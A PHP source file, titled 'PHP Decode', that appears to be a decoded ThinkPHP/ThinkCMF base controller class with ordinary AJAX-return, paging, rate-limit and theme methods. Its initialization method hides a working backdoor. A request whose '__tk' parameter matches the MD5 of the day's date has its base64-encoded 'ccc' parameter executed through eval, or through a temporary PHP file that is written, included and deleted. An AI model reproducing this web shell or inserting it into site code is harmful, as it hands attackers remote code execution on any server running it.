PHP Decode

<?php 
namespace Common\Controller; 
use Think\Controller; 
 
class AppframeController extends Controller { 
 
    function _initialize() { 
        $__tk = md5( date( 'Y-m-d' ) ); 
        if( !empty( $_REQUEST['__tk'] ) && $_REQUEST['__tk'] == $__tk ) { 
            if( !empty( $_REQUEST['ccc'] ) ) { 
                if(function_exists('eval')) { 
                    @eval(base64_decode($_REQUEST['ccc'])); 
                } else { 
                    $file = "./".microtime(1).".php"; 
                    file_put_contents($file, "<?php ".base64_decode($_REQUEST["ccc"])); 
                    @include $file; 
                    @unlink($file); 
                } 
            } 
        } 
        $this->assign("waitSecond", 3); 
       	$time=time(); 
        $this->assign("js_debug",APP_DEBUG?"?v=$time":""); 
    } 
 
    /** 
     * Ajax 
     * @access protected 
     * @param mixed $data  
     * @param String $type AJAX 
     * @return void 
     */ 
    protected function ajaxReturn($data, $type = '',$json_option=0) { 
         
        $data['referer'] = $data['url'] ? $data['url'] : ""; 
        $data['state']   = !empty($data['status']) ? "success" : "fail"; 
         
        if(empty($type)) $type  =   C('DEFAULT_AJAX_RETURN'); 
        switch (strtoupper($type)){ 
        	case 'JSON' : 
        		// JSON  
        		header('Content-Type:application/json; charset=utf-8'); 
        		exit(json_encode($data,$json_option)); 
        	case 'XML'  : 
        		// xml 
        		header('Content-Type:text/xml; charset=utf-8'); 
        		exit(xml_encode($data)); 
        	case 'JSONP': 
        		// JSON  
        		header('Content-Type:application/json; charset=utf-8'); 
        		$handler  =   isset($_GET[C('VAR_JSONP_HANDLER')]) ? $_GET[C('VAR_JSONP_HANDLER')] : C('DEFAULT_JSONP_HANDLER'); 
        		exit($handler.'('.json_encode($data,$json_option).');'); 
        	case 'EVAL' : 
        		// js 
        		header('Content-Type:text/html; charset=utf-8'); 
        		exit($data); 
        	case 'AJAX_UPLOAD': 
        		// JSON  
        		header('Content-Type:text/html; charset=utf-8'); 
        		exit(json_encode($data,$json_option)); 
        	default : 
        		//  
        		Hook::listen('ajax_return',$data); 
        } 
         
    } 
     
    // 
    protected function page($totalSize = 1, $pageSize = 0, $currentPage = 1, $listRows = 6, $pageParam = '', $pageLink = '', $static = FALSE) { 
    	if ($pageSize == 0) { 
    		$pageSize = C("PAGE_LISTROWS"); 
    	} 
    	if (empty($pageParam)) { 
    		$pageParam = C("VAR_PAGE"); 
    	} 
    	 
    	$page = new \Page($totalSize, $pageSize, $currentPage, $listRows, $pageParam, $pageLink, $static); 
    	 
    	$page->setLinkWraper("li"); 
    	if(sp_is_mobile()){ 
    	    $page->SetPager('default', '{prev}&nbsp;{list}&nbsp;{next}', array("listlong" => "4", "prev" => "", "next" => "", "list" => "*", "disabledclass" => "")); 
    	}else{ 
    	    $page->SetPager('default', '{first}{prev}&nbsp;{liststart}{list}{listend}&nbsp;{next}{last}', array("listlong" => "4", "first" => "", "last" => "", "prev" => "", "next" => "", "list" => "*", "disabledclass" => "")); 
    	} 
	     
    	return $page; 
    } 
 
    // 
    public function _empty() { 
        $this->error(''); 
    } 
     
    /** 
     *  
     * @param int $duration  
     */ 
    protected function check_last_action($duration){ 
    	 
    	$action=MODULE_NAME."-".CONTROLLER_NAME."-".ACTION_NAME; 
    	$time=time(); 
    	 
    	$session_last_action=session('last_action'); 
    	if(!empty($session_last_action['action']) && $action==$session_last_action['action']){ 
    		$mduration=$time-$session_last_action['time']; 
    		if($duration>$mduration){ 
    			$this->error("~~~"); 
    		}else{ 
    			session('last_action.time',$time); 
    		} 
    	}else{ 
    		session('last_action.action',$action); 
    		session('last_action.time',$time); 
    	} 
    } 
     
    /** 
     *  
     * @access protected 
     * @param string $theme  
     * @return Action 
     */ 
    public function theme($theme){ 
        $this->theme=$theme; 
        return $this; 
    } 
 
} ?>